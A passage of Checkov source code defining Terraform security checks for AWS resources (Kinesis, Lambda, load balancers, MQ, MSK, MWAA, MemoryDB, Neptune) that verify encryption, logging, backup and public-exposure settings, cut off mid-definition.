checkov/terraform/checks/resource/aws/KinesisStreamEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class KinesisStreamEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Kinesis Stream is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_185" supported_resources = ['aws_kinesis_stream'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = KinesisStreamEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/KinesisStreamEncryptionType.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class KinesisStreamEncryptionType(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Kinesis Stream is securely encrypted" id = "CKV_AWS_43" supported_resources = ["aws_kinesis_stream"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "encryption_type" def get_expected_value(self) -> str: return "KMS" check = KinesisStreamEncryptionType() ================================================ FILE: checkov/terraform/checks/resource/aws/KinesisVideoEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class KinesisVideoEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Kinesis Video Stream is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_177" supported_resources = ['aws_kinesis_video_stream'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = KinesisVideoEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/LBCrossZone.py ================================================ from typing import Dict, List from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class LBCrossZone(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled" id = "CKV_AWS_152" supported_resources = ["aws_lb", "aws_alb"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List]) -> CheckResult: if conf.get("load_balancer_type", ["application"]) == ["application"]: return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "enable_cross_zone_load_balancing" check = LBCrossZone() ================================================ FILE: checkov/terraform/checks/resource/aws/LBDeletionProtection.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class LBDeletionProtection(BaseResourceValueCheck): def __init__(self): name = "Ensure that Load Balancer has deletion protection enabled" id = "CKV_AWS_150" supported_resources = ["aws_lb", "aws_alb"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "enable_deletion_protection" check = LBDeletionProtection() ================================================ FILE: checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class LBTargetGroupDefinesHealthCheck(BaseResourceCheck): def __init__(self) -> None: """ PCI v3.2.1 """ name = "Ensure HTTP HTTPS Target group defines Healthcheck" id = "CKV_AWS_261" supported_resources = ( "aws_lb_target_group", "aws_alb_target_group", ) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if conf.get("protocol") in (["HTTP"], ["HTTPS"]): health_checks = conf.get("health_check") if health_checks and isinstance(health_checks, list): healthcheck = health_checks[0] if isinstance(healthcheck, dict) and healthcheck.get("path"): return CheckResult.PASSED self.evaluated_keys = ["health_check"] return CheckResult.FAILED return CheckResult.UNKNOWN check = LBTargetGroupDefinesHealthCheck() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaCodeSigningConfigured.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class LambdaCodeSigningConfigured(BaseResourceValueCheck): def __init__(self): name = "Ensure AWS Lambda function is configured to validate code-signing" id = "CKV_AWS_272" supported_resources = ['aws_lambda_function'] categories = [CheckCategories.SUPPLY_CHAIN] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "code_signing_config_arn" def get_expected_value(self): return ANY_VALUE check = LambdaCodeSigningConfigured() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaDLQConfigured.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class LambdaDLQConfigured(BaseResourceValueCheck): def __init__(self): name = "Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)" id = "CKV_AWS_116" supported_resources = ['aws_lambda_function'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "dead_letter_config/[0]/target_arn" def get_expected_value(self): return ANY_VALUE check = LambdaDLQConfigured() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaEnvironmentCredentials.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.secrets import string_has_secrets, AWS, GENERAL from checkov.common.util.type_forcers import force_list class LambdaEnvironmentCredentials(BaseResourceCheck): def __init__(self) -> None: name = "Ensure no hard-coded secrets exist in lambda environment" id = "CKV_AWS_45" supported_resources = ["aws_lambda_function"] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: environment = conf.get("environment", []) if environment and isinstance(environment[0], dict): self.evaluated_keys = ["environment"] variables = force_list(environment[0].get("variables", [])) if variables and isinstance(variables[0], dict): self.evaluated_keys = ["environment/[0]/variables"] violated_envs = set() for key, values in variables[0].items(): # variables can be a string, which in this case it points to a variable for idx, value in enumerate([v for v in force_list(values) if isinstance(v, str)]): if string_has_secrets(value, AWS, GENERAL): conf[f'{self.id}_secret_{idx}'] = value violated_envs.add(key) if violated_envs: self.evaluated_keys = [f"environment/[0]/variables/[0]/{env_key}" for env_key in violated_envs] return CheckResult.FAILED return CheckResult.PASSED check = LambdaEnvironmentCredentials() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class LambdaEnvironmentEncryptionSettings(BaseResourceCheck): def __init__(self) -> None: name = "Check encryption settings for Lambda environmental variable" id = "CKV_AWS_173" supported_resources = ("aws_lambda_function",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # check that if I have env vars I have a KMS key if len(conf.get("environment", [])): if "kms_key_arn" in conf: if conf.get("kms_key_arn") == [""]: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED # no env vars so should be no key as that causes state mismatch if "kms_key_arn" in conf and len(conf["kms_key_arn"]): return CheckResult.FAILED # neither env vars nor kms key return CheckResult.UNKNOWN def get_evaluated_keys(self) -> list[str]: return ["kms_key_arn"] check = LambdaEnvironmentEncryptionSettings() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaFunctionIsNotPublic.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import Any class LambdaFunctionIsNotPublic(BaseResourceNegativeValueCheck): def __init__(self) -> None: """ PCI DSS v3.2.1/1.2.1, PCI DSS v3.2.1/1.3.1, PCI DSS v3.2.1/1.3.2, PCI DSS v3.2.1/1.3.4, PCI DSS v3.2.1/7.2.1, NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9) Lambda function policies should prohibit public access """ name = "Ensure that AWS Lambda function is not publicly accessible" id = "CKV_AWS_301" supported_resources = ("aws_lambda_permission",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "principal" def get_forbidden_values(self) -> list[Any]: return ["*"] check = LambdaFunctionIsNotPublic() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import Any class LambdaFunctionLevelConcurrentExecutionLimit(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that AWS Lambda function is configured for function-level concurrent execution limit" id = "CKV_AWS_115" supported_resources = ("aws_lambda_function",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED, ) def get_inspected_key(self) -> str: return "reserved_concurrent_executions/[0]" def get_forbidden_values(self) -> list[Any]: return ["${-1}"] check = LambdaFunctionLevelConcurrentExecutionLimit() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaFunctionURLAuth.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class LambdaFunctionURLAuth(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that Lambda function URLs AuthType is not None" id = "CKV_AWS_258" supported_resources = ['aws_lambda_function_url'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "authorization_type" def get_forbidden_values(self): return ["NONE"] check = LambdaFunctionURLAuth() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaInVPC.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class LambdaInVPC(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that AWS Lambda function is configured inside a VPC" id = "CKV_AWS_117" supported_resources = ("aws_lambda_function",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "vpc_config" def get_expected_value(self) -> Any: return ANY_VALUE check = LambdaInVPC() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaServicePermission.py ================================================ from __future__ import annotations from typing import List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class LambdaServicePermission(BaseResourceCheck): def __init__(self) -> None: description = "Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount" id = "CKV_AWS_364" supported_resources = ('aws_lambda_permission',) categories = (CheckCategories.IAM,) super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Replace this with the custom logic for your check principal = conf.get("principal") if principal and isinstance(principal, list) and isinstance(principal[0], str): principal_parts = principal[0].split('.') try: if principal_parts[1] == 'amazonaws' and principal_parts[2] == 'com': # This confirms that the principal is set as a service principal. if 'source_arn' in conf or 'source_account' in conf: # If either of these are set, we're good and the check should pass. self.evaluated_keys = self.get_evaluated_keys() return CheckResult.PASSED else: self.evaluated_keys = self.get_evaluated_keys() return CheckResult.FAILED except IndexError: return CheckResult.UNKNOWN return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return ["principal", "source_arn", "source_account"] check = LambdaServicePermission() ================================================ FILE: checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class LambdaXrayEnabled(BaseResourceValueCheck): def __init__(self): name = "X-Ray tracing is enabled for Lambda" id = "CKV_AWS_50" supported_resources = ['aws_lambda_function'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "tracing_config/[0]/mode" def get_expected_value(self): return "PassThrough" def get_expected_values(self): return [self.get_expected_value(), "Active"] check = LambdaXrayEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class LaunchConfigurationEBSEncryption(BaseResourceCheck): def __init__(self) -> None: name = ( "Ensure all data stored in the Launch configuration or instance Elastic Blocks Store " "is securely encrypted" ) id = "CKV_AWS_8" supported_resources = ("aws_launch_configuration", "aws_instance") categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """ Looks for encryption configuration at launch configuration: https://www.terraform.io/docs/providers/aws/r/launch_configuration.html or https://www.terraform.io/docs/providers/aws/d/instance.html :param conf: aws_launch_configuration configuration :return: """ # for key in conf.keys(): # # If present, the encrypted flag will be determined by the snapshot # # Note: checkov does not know if snapshot is encrypted, so we default to PASSED self.evaluated_keys = ["root_block_device"] root = conf.get("root_block_device") if not root or not root[0]: # Issue 496 - TF will create unencrypted EBS root by default if whole root_block_device block is omitted. return CheckResult.FAILED self.evaluated_keys.append("ebs_block_device") blocks = conf.get("ebs_block_device") or [] all_blocks = root + blocks if not all_blocks: return CheckResult.UNKNOWN all_blocks_results = [] for block in all_blocks: all_blocks_results.append(_is_block_encrypted(block)) if CheckResult.FAILED in all_blocks_results: return CheckResult.FAILED elif CheckResult.UNKNOWN in all_blocks_results: return CheckResult.UNKNOWN else: return CheckResult.PASSED check = LaunchConfigurationEBSEncryption() def _is_block_encrypted(block) -> CheckResult: if isinstance(block, dict): if block.get("encrypted") in ([False], False) and not block.get("snapshot_id"): return CheckResult.FAILED elif block.get("encrypted") in ([True], True): return CheckResult.PASSED elif not block.get("encrypted") in ([True], True) and block.get("snapshot_id"): return CheckResult.PASSED return CheckResult.UNKNOWN ================================================ FILE: checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class LaunchTemplateMetadataHop(BaseResourceValueCheck): def __init__(self) -> None: """ NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2, NIST.800-53.r5 CM-2(2) Auto Scaling group launch configuration should not have a metadata response hop limit greater than 1 """ name = "Ensure Launch template should not have a metadata response hop limit greater than 1" id = "CKV_AWS_341" supported_resources = ("aws_launch_configuration", "aws_launch_template") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "metadata_options/[0]/http_put_response_hop_limit" def get_expected_value(self): return 1 check = LaunchTemplateMetadataHop() ================================================ FILE: checkov/terraform/checks/resource/aws/LustreFSEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class LustreFSEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure lustre file systems is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_190" supported_resources = ['aws_fsx_lustre_file_system'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = LustreFSEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/MQBrokerAuditLogging.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class MQBrokerAuditLogging(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure MQ Broker Audit logging is enabled" id = "CKV_AWS_197" supported_resources = ("aws_mq_broker",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # https://docs.aws.amazon.com/amazon-mq/latest/developer-guide/security-logging-monitoring-rabbitmq.html # Audit logging is not supported for RabbitMQ brokers. if conf.get("engine_type") == ["RabbitMQ"]: return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "logs/[0]/audit" check = MQBrokerAuditLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/MQBrokerEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class MQBrokerEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure MQ broker encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_209" supported_resources = ['aws_mq_broker'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "encryption_options/[0]/kms_key_id" def get_expected_value(self): return ANY_VALUE check = MQBrokerEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/MQBrokerLogging.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class MQBrokerLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure MQ Broker logging is enabled" id = "CKV_AWS_48" supported_resources = ['aws_mq_broker'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "logs/[0]/general" check = MQBrokerLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/MQBrokerMinorAutoUpgrade.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class MQBrokerMinorAutoUpgrade(BaseResourceValueCheck): def __init__(self): name = "Ensure MQ Broker minor version updates are enabled" id = "CKV_AWS_207" supported_resources = ['aws_mq_broker'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "auto_minor_version_upgrade" check = MQBrokerMinorAutoUpgrade() ================================================ FILE: checkov/terraform/checks/resource/aws/MQBrokerNotPubliclyExposed.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class MQBrokerNotPubliclyExposed(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure MQ Broker is not publicly exposed" id = "CKV_AWS_69" supported_resources = ("aws_mq_broker",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: """ Looks for public accessibility: https://www.terraform.io/docs/providers/aws/r/mq_broker.html#publicly_accessible https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-amazonmq-broker.html :param conf: aws_launch_configuration configuration :return: """ return "publicly_accessible" def get_forbidden_values(self) -> list[Any]: return [True] check = MQBrokerNotPubliclyExposed() ================================================ FILE: checkov/terraform/checks/resource/aws/MQBrokerVersion.py ================================================ import re from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck ENGINE_VERSION_PATTERN = re.compile(r"(\d+\.\d+.\d+)") ENGINE_VERSION_SHORT_PATTERN = re.compile(r"(\d+\.\d+)") MINIMUM_ACTIVEMQ_VERSION = 5.17 MINIMUM_RABBITMQ_VERSION = 3.11 class MQBrokerVersion(BaseResourceCheck): def __init__(self) -> None: name = "Ensure MQ Broker version is current" id = "CKV_AWS_208" supported_resources = ("aws_mq_broker", "aws_mq_configuration") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) @staticmethod def version_string_to_tuple(version_str) -> tuple: return tuple(map(int, str(version_str).split('.'))) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("engine_type"): mq_type = conf.get("engine_type")[0] semantic = conf.get("engine_version", [''])[0] if not re.search(ENGINE_VERSION_PATTERN, semantic): return CheckResult.UNKNOWN version_tuple = self.version_string_to_tuple(re.search(ENGINE_VERSION_SHORT_PATTERN, semantic).group()) if mq_type in 'ActiveMQ': if version_tuple >= self.version_string_to_tuple(MINIMUM_ACTIVEMQ_VERSION): return CheckResult.PASSED if mq_type in 'RabbitMQ': if version_tuple >= self.version_string_to_tuple(MINIMUM_RABBITMQ_VERSION): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["engine_type", "engine_version"] check = MQBrokerVersion() ================================================ FILE: checkov/terraform/checks/resource/aws/MSKClusterEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class MSKClusterEncryption(BaseResourceCheck): def __init__(self): name = "Ensure MSK Cluster encryption in rest and transit is enabled" id = "CKV_AWS_81" supported_resources = ['aws_msk_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # Note: As long as the 'encryption_info' block is specified, the cluster # will be encrypted at rest even if 'encryption_at_rest_kms_key_arn' is not specified # See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/msk_cluster#encryption_at_rest_kms_key_arn if 'encryption_info' in conf.keys(): encryption = conf['encryption_info'][0] if 'encryption_in_transit' in encryption: transit = encryption['encryption_in_transit'][0] if 'client_broker' in transit and transit['client_broker'][0] != 'TLS' or \ 'in_cluster' in transit and transit['in_cluster'][0] is False: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['encryption_info/[0]/encryption_in_transit/[0]/client_broker', 'encryption_info/[0]/encryption_in_transit/[0]/in_cluster'] check = MSKClusterEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/MSKClusterLogging.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class MSKClusterLogging(BaseResourceCheck): def __init__(self): name = "Ensure MSK Cluster logging is enabled" id = "CKV_AWS_80" supported_resources = ['aws_msk_cluster'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'logging_info' in conf.keys() and 'broker_logs' in conf['logging_info'][0]: logging = conf['logging_info'][0]['broker_logs'][0] types = ["cloudwatch_logs", "firehose", "s3"] for x in types: if x in logging and 'enabled' in logging[x][0] and logging[x][0]['enabled'][0] is True: self.evaluated_keys = [f'logging_info/[0]/broker_logs/[0]/{x}/[0]/enabled'] return CheckResult.PASSED return CheckResult.FAILED check = MSKClusterLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/MSKClusterNodesArePrivate.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class MSKClusterNodesArePrivate(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure MSK nodes are private" id = "CKV_AWS_291" supported_resources = ('aws_msk_cluster',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "broker_node_group_info/[0]/connectivity_info/[0]/public_access/[0]/type" def get_forbidden_values(self) -> list[Any]: return ["SERVICE_PROVIDED_EIPS"] check = MSKClusterNodesArePrivate() ================================================ FILE: checkov/terraform/checks/resource/aws/MWAASchedulerLogsEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MWAASchedulerLogsEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure MWAA environment has scheduler logs enabled" id = "CKV_AWS_242" supported_resources = ["aws_mwaa_environment"] categories = [CheckCategories.LOGGING] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "logging_configuration/[0]/scheduler_logs/[0]/enabled" check = MWAASchedulerLogsEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/MWAAWebserverLogsEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class MWAAWebserverLogsEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure MWAA environment has webserver logs enabled" id = "CKV_AWS_244" supported_resources = ('aws_mwaa_environment',) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "logging_configuration/[0]/webserver_logs/[0]/enabled" check = MWAAWebserverLogsEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/MWAAWorkerLogsEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class MWAAWorkerLogsEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure MWAA environment has worker logs enabled" id = "CKV_AWS_243" supported_resources = ['aws_mwaa_environment'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "logging_configuration/[0]/worker_logs/[0]/enabled" check = MWAAWorkerLogsEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/MemoryDBClusterIntransitEncryption.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class MemoryDBClusterIntransitEncryption(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure MemoryDB data is encrypted in transit" id = "CKV_AWS_202" supported_resources = ("aws_memorydb_cluster",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "tls_enabled" def get_forbidden_values(self) -> list[Any]: return [False] check = MemoryDBClusterIntransitEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/MemoryDBEncryptionWithCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class MemoryDBEncryptionWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure MemoryDB is encrypted at rest using KMS CMKs" id = "CKV_AWS_201" supported_resources = ['aws_memorydb_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_arn' def get_expected_value(self): return ANY_VALUE check = MemoryDBEncryptionWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/MemoryDBSnapshotEncryptionWithCMK.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class MemoryDBSnapshotEncryptionWithCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure MemoryDB snapshot is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_278" supported_resources = ("aws_memorydb_snapshot",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_arn" def get_expected_value(self) -> Any: return ANY_VALUE check = MemoryDBSnapshotEncryptionWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/NeptuneClusterBackupRetention.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class NeptuneClusterBackupRetention(BaseResourceCheck): def __init__(self): description = "Ensure that Neptune DB cluster has automated backups enabled with adequate retention" id = "CKV_AWS_361" supported_resources = ['aws_neptune_cluster'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get('backup_retention_period', [1])[0] >= 7: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self): return ['backup_retention_period'] check = NeptuneClusterBackupRetention() ================================================ FILE: checkov/terraform/checks/resource/aws/NeptuneClusterEncryptedWithCMK.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class 